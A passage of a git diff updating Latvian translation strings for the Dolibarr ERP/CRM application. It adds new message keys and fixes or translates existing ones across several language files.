ErrorOrdersNotCreatedQtyTooLow=Daži pasūtījumi nav izveidoti jo pārāk mazs daudzums @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Objektiem jābūt statusam “Aktīv ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Objektiem jābūt iespējotiem ar statusu “Melnraksts” vai “Atspējots” ErrorNoFieldWithAttributeShowoncombobox=Nevienam laukam objekta '%s' definīcijā nav rekvizīta 'showoncombobox'. Nekādā veidā nevar parādīt combolist. ErrorFieldRequiredForProduct=Lauks “%s” ir nepieciešams produktam %s +AlreadyTooMuchPostOnThisIPAdress=Jūs jau esat pārāk daudz publicējis šajā IP adresē. ProblemIsInSetupOfTerminal=Problēma termināļa %s iestatīšanā. ErrorAddAtLeastOneLineFirst=Vispirms pievienojiet vismaz vienu rindu ErrorRecordAlreadyInAccountingDeletionNotPossible=Kļūda, ieraksts jau ir pārsūtīts grāmatvedībā, dzēšana nav iespējama. @@ -271,14 +274,14 @@ ErrorYouMustFirstSetupYourChartOfAccount=Vispirms jums ir jāiestata konta plān ErrorFailedToFindEmailTemplate=Neizdevās atrast veidni ar koda nosaukumu %s ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=Ilgums pakalpojumā nav noteikts. Nav iespējams aprēķināt stundas cenu. ErrorActionCommPropertyUserowneridNotDefined=Nepieciešams lietotāja īpašnieks -ErrorActionCommBadType=Selected event type (id: %s, code: %s) do not exist in Event Type dictionary +ErrorActionCommBadType=Atlasītais notikuma veids (id: %s, kods: %s) nepastāv notikuma veida vārdnīcā CheckVersionFail=Versijas pārbaude neizdevās ErrorWrongFileName=Faila nosaukumā nedrīkst būt __SOMETHING__ ErrorNotInDictionaryPaymentConditions=Nav Maksājumu nosacījumu vārdnīcā, lūdzu, modificējiet. ErrorIsNotADraft=%s nav melnraksts ErrorExecIdFailed=Nevar izpildīt komandu "id" -ErrorBadCharIntoLoginName=Neatļauta rakstzīme pieteikšanās vārdā -ErrorRequestTooLarge=Kļūda, pieprasījums ir pārāk liels +ErrorBadCharIntoLoginName=Neatļauta rakstzīme laukā %s +ErrorRequestTooLarge=Kļūda, pieprasījums ir pārāk liels vai sesija ir beigusies ErrorNotApproverForHoliday=Jūs neesat %s atvaļinājuma apstiprinātājs ErrorAttributeIsUsedIntoProduct=Šis atribūts tiek izmantots vienā vai vairākos produkta variantos ErrorAttributeValueIsUsedIntoProduct=Šī atribūta vērtība tiek izmantota vienā vai vairākos produkta variantos @@ -289,13 +292,23 @@ ErrorInvoiceLoadThirdPartyKey=Trešās puses atslēga "%s" nav iestatīta rēķi ErrorDeleteLineNotAllowedByObjectStatus=Pašreizējais objekta statuss neļauj dzēst rindu ErrorAjaxRequestFailed=Pieprasījums neizdevās ErrorThirpdartyOrMemberidIsMandatory=Trešās puses vai partnerības dalībnieka dalība ir obligāta -ErrorFailedToWriteInTempDirectory=Failed to write in temp directory -ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToWriteInTempDirectory=Neizdevās ierakstīt pagaidu direktorijā +ErrorQuantityIsLimitedTo=Daudzums ir ierobežots līdz %s +ErrorFailedToLoadThirdParty=Neizdevās atrast/ielādēt trešo pusi no id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=Šis maksājuma veids nav bankas konts +ErrorStripeCustomerNotFoundCreateFirst=Stripe klients šai trešajai pusei nav iestatīts (vai ir iestatīta vērtība, kas svītrota pusē). Vispirms izveidojiet (vai pievienojiet to atkārtoti). +ErrorCharPlusNotSupportedByImapForSearch=IMAP meklēšana nevar meklēt sūtītājā vai adresātā virkni, kurā ir rakstzīme + +ErrorTableNotFound=Tabula %s nav atrasta +ErrorValueForTooLow= %s vērtība ir pārāk zema +ErrorValueCantBeNull= %s vērtība nevar būt nulle +ErrorDateOfMovementLowerThanDateOfFileTransmission=Bankas darījuma datums nedrīkst būt mazāks par faila pārsūtīšanas datumu +ErrorTooMuchFileInForm=Pārāk daudz failu formā, maksimālais skaits ir %s fails(-i) +ErrorSessionInvalidatedAfterPasswordChange=Sesija tika anulēta pēc paroles, statusa vai derīguma datuma maiņas. Lūdzu, piesakieties atkārtoti. # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Jūsu PHP parametrs upload_max_filesize (%s) ir augstāks nekā PHP parametrs post_max_size (%s). Šī nav konsekventa iestatīšana. WarningPasswordSetWithNoAccount=A password was set for this member. However, no user account was created. So this password is stored but can't be used to login to Dolibarr. It may be used by an external module/interface but if you don't need to define any login nor password for a member, you can disable option "Manage a login for each member" from Member module setup. If you need to manage a login but don't need any password, you can keep this field empty to avoid this warning. Note: Email can also be used as a login if the member is linked to a user. -WarningMandatorySetupNotComplete=Click here to setup main parameters +WarningMandatorySetupNotComplete=Noklikšķiniet šeit, lai iestatītu galvenos parametrus WarningEnableYourModulesApplications=Noklikšķiniet šeit, lai iespējotu moduļus un lietojumprogrammas WarningSafeModeOnCheckExecDir=Uzmanību, PHP iespēja safe_mode ir par tik komanda jāuzglabā iekšpusē direktorijā deklarēto php parametru safe_mode_exec_dir. WarningBookmarkAlreadyExists=Ar šo nosaukumu, vai šī mērķa grāmatzīmes (URL) jau pastāv. @@ -304,7 +317,7 @@ WarningConfFileMustBeReadOnly=Uzmanību, jūsu config failu (htdocs / conf / WarningsOnXLines=Brīdinājumi par %s avota ierakstu(-iem) WarningNoDocumentModelActivated=Neviens modelis dokumentu ģenerēšanai nav aktivizēts. Modeli izvēlēsies pēc noklusējuma, līdz jūs pārbaudīsit sava moduļa iestatījumus. WarningLockFileDoesNotExists=Brīdinājums, kad iestatīšana ir pabeigta, ir jāizslēdz instalēšanas / migrācijas rīki, pievienojot failu install.lock direktorijā %s . Šī faila izveides neievērošana ir nopietns drošības risks. -WarningUntilDirRemoved=Visi drošības brīdinājumi (redzami tikai administratora lietotājiem) paliks aktīvi, kamēr būs ievainojamība (vai pastāvīgā MAIN_REMOVE_INSTALL_WARNING tiek pievienota iestatījumam-> Citi iestatījumi). +WarningUntilDirRemoved=Šis drošības brīdinājums paliks aktīvs tik ilgi, kamēr pastāv ievainojamība. WarningCloseAlways=Brīdinājums, aizvēršanas tiek darīts, pat ja summa atšķiras no avota un mērķa elementi. Aktivizēt šo funkciju piesardzīgi. WarningUsingThisBoxSlowDown=Uzmanību, izmantojot šo lodziņu palēnināt nopietni visas lapas, kas parāda lodziņu. WarningClickToDialUserSetupNotComplete=Iestatīšana ClickToDial informāciju par jūsu lietotāja nav pilnīga (skat. tab ClickToDial uz jūsu lietotāja kartes). @@ -313,6 +326,7 @@ WarningPaymentDateLowerThanInvoiceDate=Apmaksas datums (%s) ir agrāks par rēķ WarningTooManyDataPleaseUseMoreFilters=Too many data (more than %s lines). Please use more filters or set the constant %s to a higher limit. WarningSomeLinesWithNullHourlyRate=Daži lietotāji dažreiz ierakstīja, bet viņu stundas likme netika definēta. Tika izmantota vērtība 0 %s stundā, taču tas var novest pie nepareiza pavadītā laika vērtējuma. WarningYourLoginWasModifiedPleaseLogin=Jūsu pieteikšanās tika mainīta. Drošības nolūkos pirms nākamās darbības jums būs jāpiesakās ar jauno pieteikumvārdu. +WarningYourPasswordWasModifiedPleaseLogin=Jūsu parole tika mainīta. Drošības nolūkos jums tagad būs jāpiesakās ar savu jauno paroli. WarningAnEntryAlreadyExistForTransKey=Šīs valodas tulkošanas taustiņam jau ir ieraksts WarningNumberOfRecipientIsRestrictedInMassAction=Brīdinājums, ja izmantojat masveida darbību sarakstos, saņēmēju skaits ir ierobežots %s WarningDateOfLineMustBeInExpenseReportRange=Brīdinājums, rindas datums nav izdevumu pārskata diapazonā @@ -326,6 +340,8 @@ WarningAvailableOnlyForHTTPSServers=Pieejams tikai tad, ja tiek izmantots HTTPS WarningModuleXDisabledSoYouMayMissEventHere=Modulis %s nav iespējots. Tāpēc jūs varat izlaist daudz notikumu šeit. WarningPaypalPaymentNotCompatibleWithStrict=Vērtība “Stingrs” neļauj tiešsaistes maksājumu funkcijām darboties pareizi. Tā vietā izmantojiet “Lax”. WarningThemeForcedTo=Brīdinājums! Motīvs ir spiests uz %s , izmantojot slēpto konstanti MAIN_FORCETHEME +WarningPagesWillBeDeleted=Brīdinājums, tādējādi tiks dzēstas arī visas esošās vietnes lapas/konteineri. Jums vajadzētu iepriekš eksportēt savu vietni, lai jums būtu dublējums, lai to vēlāk atkārtoti importētu. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automātiskā validācija ir atspējota, ja opcijai "Rēķina apstiprināšana" ir iestatīta iespēja samazināt krājumus. # Validate RequireValidValue = Vērtība nav derīga diff --git a/htdocs/langs/lv_LV/eventorganization.lang b/htdocs/langs/lv_LV/eventorganization.lang index cff9538f3ca..6545b566da2 100644 --- a/htdocs/langs/lv_LV/eventorganization.lang +++ b/htdocs/langs/lv_LV/eventorganization.lang @@ -54,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = Dalībnieka izveides/pievienošanas vei # Object # EventOrganizationConfOrBooth= Konference vai stends +EventOrganizationConfOrBoothes=Konferences vai stendi ManageOrganizeEvent = Pārvaldiet pasākuma organizēšanu ConferenceOrBooth = Konference vai stends ConferenceOrBoothTab = Konference vai stends AmountPaid = Samaksātā summa DateOfRegistration = Reģistrācijas datums ConferenceOrBoothAttendee = Konferences vai stenda apmeklētājs +ApplicantOrVisitor=Pretendents vai apmeklētājs +Speaker=Skaļrunis # # Template Mail @@ -112,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Šeit varat balsot par konferenci vai ieteikt j EvntOrgRegistrationConfHelpMessage = Šeit varat ieteikt jaunu konferenci, ko animēt pasākuma laikā. EvntOrgRegistrationBoothHelpMessage = Šeit jūs varat pieteikties stendam pasākuma laikā. ListOfSuggestedConferences = Ieteicamo konferenču saraksts -ListOfSuggestedBooths = Ieteicamo kabīņu saraksts -ListOfConferencesOrBooths=Konferenču vai pasākumu projekta kabīņu saraksts +ListOfSuggestedBooths=Ieteiktās kabīnes +ListOfConferencesOrBooths=Konferenču vai pasākumu projektu kabīnes SuggestConference = Ieteikt jaunu konferenci SuggestBooth = Ieteikt stendu ViewAndVote = Skatiet ierosinātos pasākumus un balsojiet par tiem PublicAttendeeSubscriptionGlobalPage = Publiska saite reģistrācijai uz pasākumu PublicAttendeeSubscriptionPage = Publiska saite reģistrācijai tikai uz šo notikumu MissingOrBadSecureKey = Drošības atslēga nav derīga vai tās nav -EvntOrgWelcomeMessage = Šī veidlapa ļauj reģistrēties kā jaunam pasākuma dalībniekam: %s +EvntOrgWelcomeMessage = Šī forma ļauj reģistrēties kā jaunam pasākuma dalībniekam EvntOrgDuration = Šī konference sākas ar %s un beidzas ar %s. ConferenceAttendeeFee = Konferences dalībnieka maksa par pasākumu: '%s', kas notiek no %s līdz %s. BoothLocationFee = Pasākuma stenda atrašanās vieta: '%s', kas notiek no %s līdz %s @@ -130,7 +133,7 @@ LabelOfconference=Konferences etiķete ConferenceIsNotConfirmed=Reģistrācija nav pieejama, konference vēl nav apstiprināta DateMustBeBeforeThan=%s jābūt pirms %s DateMustBeAfterThan=%s jābūt aiz %s - +MaxNbOfAttendeesReached=Ir sasniegts maksimālais dalībnieku skaits NewSubscription=Reģistrācija OrganizationEventConfRequestWasReceived=Jūsu ieteikums par konferenci ir saņemts OrganizationEventBoothRequestWasReceived=Jūsu pieprasījums pēc stenda ir saņemts @@ -139,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Jūsu maksājums par jūsu not OrganizationEventBulkMailToAttendees=Šis ir atgādinājums par jūsu dalību pasākumā kā apmeklētājam OrganizationEventBulkMailToSpeakers=Šis ir atgādinājums par jūsu dalību pasākumā kā runātājam OrganizationEventLinkToThirdParty=Saite ar trešo pusi (klientu, piegādātāju vai partneri) +OrganizationEvenLabelName=Konferences vai stenda publiskais nosaukums NewSuggestionOfBooth=Pieteikums stendam NewSuggestionOfConference=Pieteikšanās konferencei @@ -154,7 +158,7 @@ VoteOk = Jūsu balsojums ir pieņemts. AlreadyVoted = Jūs jau esat balsojis par šo notikumu. VoteError = Balsojuma laikā radās kļūda. Lūdzu, mēģiniet vēlreiz. -SubscriptionOk = Jūsu reģistrācija ir apstiprināta +SubscriptionOk=Jūsu reģistrācija ir reģistrēta ConfAttendeeSubscriptionConfirmation = Pasākuma abonementa apstiprinājums Attendee = Dalībnieks PaymentConferenceAttendee = Konferences dalībnieka samaksa @@ -162,8 +166,11 @@ PaymentBoothLocation = Kabīnes atrašanās vietas maksājums DeleteConferenceOrBoothAttendee=Noņemt dalībnieku RegistrationAndPaymentWereAlreadyRecorder=Reģistrācija un maksājums jau tika reģistrēts e -pastam %s EmailAttendee=Dalībnieku e -pasts +EmailCompany=Uzņēmuma e-pasts EmailCompanyForInvoice=Uzņēmuma e -pasts (rēķinam, ja atšķiras no dalībnieka e -pasta adreses) ErrorSeveralCompaniesWithEmailContactUs=Ir atrasti vairāki uzņēmumi ar šo e -pastu, tāpēc mēs nevaram automātiski apstiprināt jūsu reģistrāciju. Lūdzu, sazinieties ar mums pa e -pastu %s, lai manuāli apstiprinātu ErrorSeveralCompaniesWithNameContactUs=Ir atrasti vairāki uzņēmumi ar šo nosaukumu, tāpēc mēs nevaram automātiski apstiprināt jūsu reģistrāciju. Lūdzu, sazinieties ar mums pa e -pastu %s, lai manuāli apstiprinātu NoPublicActionsAllowedForThisEvent=Šajā pasākumā neviena publiska darbība nav pieejama sabiedrībai MaxNbOfAttendees=Maksimālais dalībnieku skaits +DateStartEvent=Pasākuma sākuma datums +DateEndEvent=Pasākuma beigu datums diff --git a/htdocs/langs/lv_LV/exports.lang b/htdocs/langs/lv_LV/exports.lang index 3268fd7cf15..ae4678c6005 100644 --- a/htdocs/langs/lv_LV/exports.lang +++ b/htdocs/langs/lv_LV/exports.lang @@ -95,8 +95,8 @@ NbOfLinesOK=Skaits līniju bez kļūdām un bez brīdinājumiem: %s. NbOfLinesImported=Skaits līniju veiksmīgi importēto: %s. DataComeFromNoWhere=Vērtību, lai ievietotu nāk no nekur avota failā. DataComeFromFileFieldNb=Ievietojamā vērtība nāk no avota faila kolonnas %s . -DataComeFromIdFoundFromRef=Vērtība, kas nāk no avota faila kolonnas %s , tiks izmantota, lai atrastu izmantojamā vecākobjekta ID (tātad objektam a0ecb2ecz07f4 ir7f fails, kas ir7 ref.7 avota fails7.7fz0 a0ecb2ec87f4). -DataComeFromIdFoundFromCodeId=Kods, kas nāk no avota faila kolonnas %s , tiks izmantots, lai atrastu izmantojamā vecākobjekta ID (tātad kodam no avota faila ir jābūt vārdnīcā a0aee8336 a0837f2fzf79037f49fz07f49fz07f49fzfz07fzfz07f49fz17fzfz07f49fz07fzfz07fzfz07fzfz07fzfz07fzfz07fzfz07f49fz07fzfz07fzfz07fzfz07fzfz07fzfz07f49fz07f49fz07fzfz07fzfz07f49fz07f49fz0. Ņemiet vērā: ja zināt ID, varat to izmantot arī avota failā koda vietā. Importam vajadzētu darboties abos gadījumos. +DataComeFromIdFoundFromRef=Vērtība, kas nāk no avota faila, tiks izmantota, lai atrastu izmantojamā vecākobjekta ID (tādēļ objektam %s , kuram ir atsauce no avota faila, ir jāpastāv datu bāzē). +DataComeFromIdFoundFromCodeId=Koda vērtība, kas nāk no avota faila, tiks izmantota, lai atrastu izmantojamā vecākobjekta ID (tāpēc kodam no avota faila ir jābūt vārdnīcā %s ). Ņemiet vērā: ja zināt ID, varat to izmantot arī avota failā koda vietā. Importam vajadzētu darboties abos gadījumos. DataIsInsertedInto=Dati, kas nāk no avota faila tiks ievietota sekojošā laukā: DataIDSourceIsInsertedInto=Galvenā objekta ID, kas tika atrasts, izmantojot avota faila datus, tiks ievietots šādā laukā: DataCodeIDSourceIsInsertedInto=Galvenās līnijas ID, kas tika atrasts no koda, tiks ievietots šādā laukā: @@ -134,7 +134,9 @@ FormatControlRule=Format control rule ## imports updates KeysToUseForUpdates=Atslēga (sleja), ko izmantot esošo datu atjaunināšanai NbInsert=Ievietoto līniju skaits: %s +NbInsertSim=Ievietoto rindu skaits: %s NbUpdate=Atjaunināto līniju skaits: %s +NbUpdateSim=Atjaunināmo rindu skaits: %s MultipleRecordFoundWithTheseFilters=Ar šiem filtriem tika atrasti vairāki ieraksti: %s StocksWithBatch=Produktu krājumi un atrašanās vieta (noliktava) ar partijas / sērijas numuru WarningFirstImportedLine=Pirmā rindiņa(-as) netiks importēta(-as) ar pašreizējo atlasi diff --git a/htdocs/langs/lv_LV/holiday.lang b/htdocs/langs/lv_LV/holiday.lang index 951c5184a20..913d38f8cd3 100644 --- a/htdocs/langs/lv_LV/holiday.lang +++ b/htdocs/langs/lv_LV/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=CRV -Holidays=Prombūtne +Holidays=Lapas +Holiday=Prombūtne CPTitreMenu=Prombūtne MenuReportMonth=Ikmēneša paziņojums MenuAddCP=Jauns atvaļinājuma pieprasījums +MenuCollectiveAddCP=Jauns kolektīvā atvaļinājuma pieprasījums NotActiveModCP=Jums ir jāiespējo modulis Atvaļinājumi, lai apskatītu šo lapu. AddCP=Izveidot atvaļinājuma pieprasījumu DateDebCP=Sākuma datums @@ -56,6 +58,7 @@ ConfirmDeleteCP=Apstiprināt šī atvaļinājuma pieprasījuma dzēšanu? ErrorCantDeleteCP=Kļūda, Jums nav tiesību izdzēst šo atvaļinājuma pieprasījumu. CantCreateCP=Jums nav tiesību veikt atvaļinājumu pieprasījumus. InvalidValidatorCP=Atvaļinājuma pieprasījumam jums jāizvēlas apstiprinātājs. +InvalidValidator=Izvēlētais lietotājs nav apstiprinātājs. NoDateDebut=Jums ir jāizvēlas sākuma datums. NoDateFin=Jums ir jāizvēlas beigu datums. ErrorDureeCP=Jūsu atvaļinājuma pieprasījumā nav darba dienas. @@ -79,6 +82,8 @@ MotifCP=Iemesls UserCP=Lietotājs ErrorAddEventToUserCP=Pievienojot ārpuskārtas atvaļinājumu, radās kļūda. AddEventToUserOkCP=Par ārkārtas atvaļinājumu papildinājums ir pabeigta. +ErrorFieldRequiredUserOrGroup=Jāaizpilda lauks "grupa" vai lauks "lietotājs". +fusionGroupsUsers=Grupu lauks un lietotāja lauks tiks apvienoti MenuLogCP=Skatīt izmaiņu žurnālus LogCP=Visu atjauninājumu žurnāls “Atvaļinājuma atlikums” ActionByCP=Atjaunināja @@ -86,6 +91,13 @@ UserUpdateCP=Atjaunināts PrevSoldeCP=Iepriekšējā bilance NewSoldeCP=Jana Bilance alreadyCPexist=Šajā periodā atvaļinājuma pieprasījums jau ir veikts. +UseralreadyCPexist=Šajā periodā jau ir iesniegts atvaļinājuma pieprasījums par %s. +groups=Grupas +users=Lietotāji +AutoSendMail=Automātiska pasta sūtīšana +NewHolidayForGroup=Jauns kolektīvā atvaļinājuma pieprasījums +SendRequestCollectiveCP=Nosūtiet kolektīvo atvaļinājuma pieprasījumu +AutoValidationOnCreate=Automātiska apstiprināšana FirstDayOfHoliday=Atvaļinājuma sākuma diena LastDayOfHoliday=Atvaļinājuma beigu diena BoxTitleLastLeaveRequests=Jaunākie %s labotie atvaļinājumu pieprasījumi @@ -131,9 +143,16 @@ TemplatePDFHolidays=PDF veidne atvaļinājumu pieprasīšanai FreeLegalTextOnHolidays=Brīvs teksts PDF WatermarkOnDraftHolidayCards=Ūdenszīmes uz atvaļinājuma pieprasījumiem HolidaysToApprove=Brīvdienas, kas jāapstiprina -NobodyHasPermissionToValidateHolidays=Nevienam nav atļaujas apstiprināt brīvdienas -HolidayBalanceMonthlyUpdate=Ikmēneša brīvdienu bilances atjauninājums +NobodyHasPermissionToValidateHolidays=Nevienam nav atļaujas apstiprināt atvaļinājuma pieprasījumus +HolidayBalanceMonthlyUpdate=Ikmēneša atvaļinājuma atlikuma atjauninājums XIsAUsualNonWorkingDay=%s parasti ir NAV darba diena BlockHolidayIfNegative=Bloķēt, ja atlikums ir negatīvs LeaveRequestCreationBlockedBecauseBalanceIsNegative=Šī atvaļinājuma pieprasījuma izveide ir bloķēta, jo jūsu bilance ir negatīva ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Atstāšanas pieprasījumam %s jābūt melnrakstam, tas ir jāatceļ vai jāatsakās dzēst +IncreaseHolidays=Palieliniet atvaļinājuma atlikumu +HolidayRecordsIncreased= %s atvaļinājumu atlikumi palielinājās +HolidayRecordIncreased=Palielināts atvaļinājumu atlikums +ConfirmMassIncreaseHoliday=Lielapjoma atvaļinājuma atlikuma palielināšana +NumberDayAddMass=Dienu skaits, kas jāpievieno atlasei +ConfirmMassIncreaseHolidayQuestion=Vai tiešām vēlaties palielināt %s atlasītā(-u) ieraksta(-u) brīvdienu? +HolidayQtyNotModified=Atlikušo dienu atlikums %s nav mainīts diff --git a/htdocs/langs/lv_LV/hrm.lang b/htdocs/langs/lv_LV/hrm.lang index da441146c33..0829659809c 100644 --- a/htdocs/langs/lv_LV/hrm.lang +++ b/htdocs/langs/lv_LV/hrm.lang @@ -26,8 +26,8 @@ HRM_DEFAULT_SKILL_DESCRIPTION=Pakāpju noklusējuma apraksts, kad tiek izveidota deplacement=Shift DateEval=Novērtēšanas datums JobCard=Darba karte -JobPosition=Darbs -JobsPosition=Darbavietas +JobPosition=Darba profils +JobsPosition=Darba profili NewSkill=Jauna prasme SkillType=Prasmju veids Skilldets=Šīs prasmes kategoriju saraksts @@ -86,6 +86,7 @@ SaveAddSkill = Pievienotas prasmes SaveLevelSkill = Prasmju līmenis ir saglabāts DeleteSkill = Prasme noņemta SkillsExtraFields=Attributs supplémentaires (kompetences) -JobsExtraFields=Attributs supplémentaires (Emplois) +JobsExtraFields=Attributs supplémentaires (darba profils) EvaluationsExtraFields=Atribūti supplémentaires (novērtējumi) NeedBusinessTravels=Nepieciešami biznesa ceļojumi +NoDescription=Nav apraksta diff --git a/htdocs/langs/lv_LV/install.lang b/htdocs/langs/lv_LV/install.lang index a4c2ba6519b..7fdb56406f8 100644 --- a/htdocs/langs/lv_LV/install.lang +++ b/htdocs/langs/lv_LV/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=PHP versija ir pārāk veca. Nepieciešama versija %s vai ErrorPHPVersionTooHigh=PHP versija ir pārāk augsta. Nepieciešama versija %s vai vecāka versija. ErrorConnectedButDatabaseNotFound=Savienojums ar serveri ir veiksmīgs, bet datubāze '%s' nav atrasta. ErrorDatabaseAlreadyExists=Datubāze '%s' jau eksistē. +ErrorNoMigrationFilesFoundForParameters=Atlasītajām versijām nav atrasts neviens migrācijas fails IfDatabaseNotExistsGoBackAndUncheckCreate=Ja datubāze neeksistē, atgriezieties un atzīmējiet opciju "Izveidot datubāzi". IfDatabaseExistsGoBackAndCheckCreate=Ja datu bāze jau pastāv, dodieties atpakaļ un izņemiet ķeksi "Izveidot datu bāzi". WarningBrowserTooOld=Pārlūkprogrammas versija ir pārāk veca. Ļoti ieteicams jaunināt pārlūku uz jaunāko Firefox, Chrome vai Opera versiju. @@ -50,7 +51,6 @@ DatabaseName=Datubāzes nosaukums DatabasePrefix=Datubāzes tabulu prefikss DatabasePrefixDescription=Datubāzes galda prefikss. Ja tukšs, noklusējums ir llx_. AdminLogin=Dolibarr datu bāzes īpašnieka lietotāja konts. -PasswordAgain=Atkārtot paroles ievadīšanu AdminPassword=Parole Dolibarr datu bāzes īpašniekam. CreateDatabase=Izveidot datubāzi CreateUser=Izveidojiet lietotāja kontu vai piešķiriet lietotāja konta atļauju Dolibarr datubāzei @@ -88,7 +88,7 @@ LoginAlreadyExists=Jau eksistē DolibarrAdminLogin=Dolibarr administratora lietotāja vārds AdminLoginAlreadyExists=Dolibarr administratora konts '%s' jau pastāv. Atgriezieties, ja vēlaties izveidot vēl vienu. FailedToCreateAdminLogin=Neizdevās izveidot Dolibarr administratora kontu. -WarningRemoveInstallDir=Drošības apsvērumu dēļ, instalēšanas vai atjaunināšanas pabeigšanas brīdī drošības nolūkos Dolibarr dokumentu direktorijā jāievieto fails install.lock, lai novērstu nejaušu/ļaunprātīgu instalēšanas rīku lietošanu. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Nav pieejams šajā PHP ChoosedMigrateScript=Izvēlieties migrācijas skriptu DataMigration=Datubāzes migrācijas (dati) @@ -208,7 +208,12 @@ HideNotAvailableOptions=Slēpt nepieejamās iespējas ErrorFoundDuringMigration=Migrēšanas laikā tika ziņots par kļūdu (-ēm), tāpēc nākamais solis nav pieejams. Lai ignorētu kļūdas, varat noklikšķināt šeit , bet lietojumprogramma vai dažas funkcijas var nedarboties pareizi, līdz kļūdas nav atrisinātas. YouTryInstallDisabledByDirLock=Pieteikums mēģināja pašupjaunināt, bet instalēšanas / jaunināšanas lapas tika atspējotas drošībai (direktorija nosaukums tika pārdēvēts ar .lock sufiksu).
      YouTryInstallDisabledByFileLock=Lietojumprogramma mēģināja pašatjaunināties, bet instalēšanas/atjaunināšanas lapas tika bloķētas drošībai (ar bloķēšanas failu install.lock Dolibarr dokumentu direktorijā).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Noklikšķiniet šeit, lai pārietu uz savu pieteikumu ClickOnLinkOrRemoveManualy=Ja notiek jaunināšana, lūdzu, uzgaidiet. Ja nē, noklikšķiniet uz šīs saites. Ja vienmēr redzat šo pašu lapu, dokumentu direktorijā ir jānoņem/jāpārdēvē fails install.lock. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Iekrauts FunctionTest=Funkcijas pārbaude +NodoUpgradeAfterDB=Pēc datu bāzes jaunināšanas ārējie moduļi neprasa nekādas darbības +NodoUpgradeAfterFiles=Pēc failu vai direktoriju jaunināšanas ārējie moduļi neprasa nekādas darbības +MigrationContractLineRank=Migrēt līguma rindu, lai izmantotu rangu (un iespējotu pārkārtošanu) diff --git a/htdocs/langs/lv_LV/interventions.lang b/htdocs/langs/lv_LV/interventions.lang index 87563a86b0e..79063ebb7d0 100644 --- a/htdocs/langs/lv_LV/interventions.lang +++ b/htdocs/langs/lv_LV/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Noslēpt stundas un minūtes no datuma lauka iejau InterventionStatistics=Intervences statistika NbOfinterventions=Intervences karšu skaits NumberOfInterventionsByMonth=Intervences karšu skaits pēc mēneša (validācijas datums) -AmountOfInteventionNotIncludedByDefault=Ienākuma summa pēc noklusējuma netiek iekļauta peļņā (vairumā gadījumu laika kontrolsaraksts tiek izmantots, lai uzskaitītu pavadīto laiku). Lai tos iekļautu, pievienojiet opciju PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT uz 1 sākuma iestatīšanas pogu. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Intervences id InterRef=Intervences atsauce InterDateCreation=Date creation intervention @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Vai tiešām vēlaties atvērt iejaukšanos %s %s
      . Mēģinot sūtīt vairāk, jūsu instance var tikt palēnināta vai apturēta. Lūdzu, sazinieties ar atbalsta dienestu, ja jums nepieciešama lielāka kvota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/lv_LV/main.lang b/htdocs/langs/lv_LV/main.lang index 3613aa3e808..665d3da303d 100644 --- a/htdocs/langs/lv_LV/main.lang +++ b/htdocs/langs/lv_LV/main.lang @@ -34,6 +34,7 @@ NoTemplateDefined=Šim e-pasta veidam nav pieejamas veidnes AvailableVariables=Pieejamie aizstāšanas mainīgie NoTranslation=Nav iztulkots Translation=Tulkošana +Translations=Tulkojumi CurrentTimeZone=Laika josla PHP (servera) EmptySearchString=Ievadiet meklēšanas kritērijus EnterADateCriteria=Ievadiet datuma kritērijus @@ -205,6 +206,7 @@ Valid=Derīgs Approve=Apstiprināt Disapprove=Noraidīt ReOpen=Atvērt pa jaunu +OpenVerb=Atvērt Upload=Augšupielādēt ToLink=Saite Select=Atlasīt @@ -222,8 +224,9 @@ UserGroup=Lietotāju grupa UserGroups=Lietotāju grupas NoUserGroupDefined=Nav definēta neviena lietotāju grupa Password=Parole -PasswordRetype=PArole atkārtoti +PasswordRetype=Atkārtojiet savu paroli NoteSomeFeaturesAreDisabled=Ņemiet vērā, ka funkcijas / modules daudz ir invalīdi šajā demonstrācijā. +YourUserFile=Jūsu lietotāja fails Name=Nosaukums NameSlashCompany=Nosaukums/uzņēmums Person=Persona @@ -487,6 +490,7 @@ ActionsOnContact=Notikumi šim kontaktam / adresei ActionsOnContract=Notikumi šim līgumam ActionsOnMember=Pasākumi par šo locekli ActionsOnProduct=Notikumi ar šo produktu +ActionsOnAsset=Notikumi šim pamatlīdzeklim NActionsLate=%s vēlu ToDo=Jāizdara Completed=Pabeigts @@ -718,7 +722,7 @@ FeatureDisabled=Funkcija bloķēta MoveBox=Pārvietot logrīku Offered=Piedāvāts NotEnoughPermissions=Jums nav atļauta šī darbība -UserNotInHierachy=This action is reserved to the supervisors of this user +UserNotInHierachy=Šo darbību var veikt šī lietotāja uzraugi SessionName=Sesijas nosaukums Method=Metode Receive=Saņemt @@ -808,6 +812,7 @@ URLPhoto=Saite bildei/logo SetLinkToAnotherThirdParty=Saite uz citu trešo personu LinkTo=Saite uz LinkToProposal=Saite uz priekšlikumu +LinkToExpedition= Saite uz 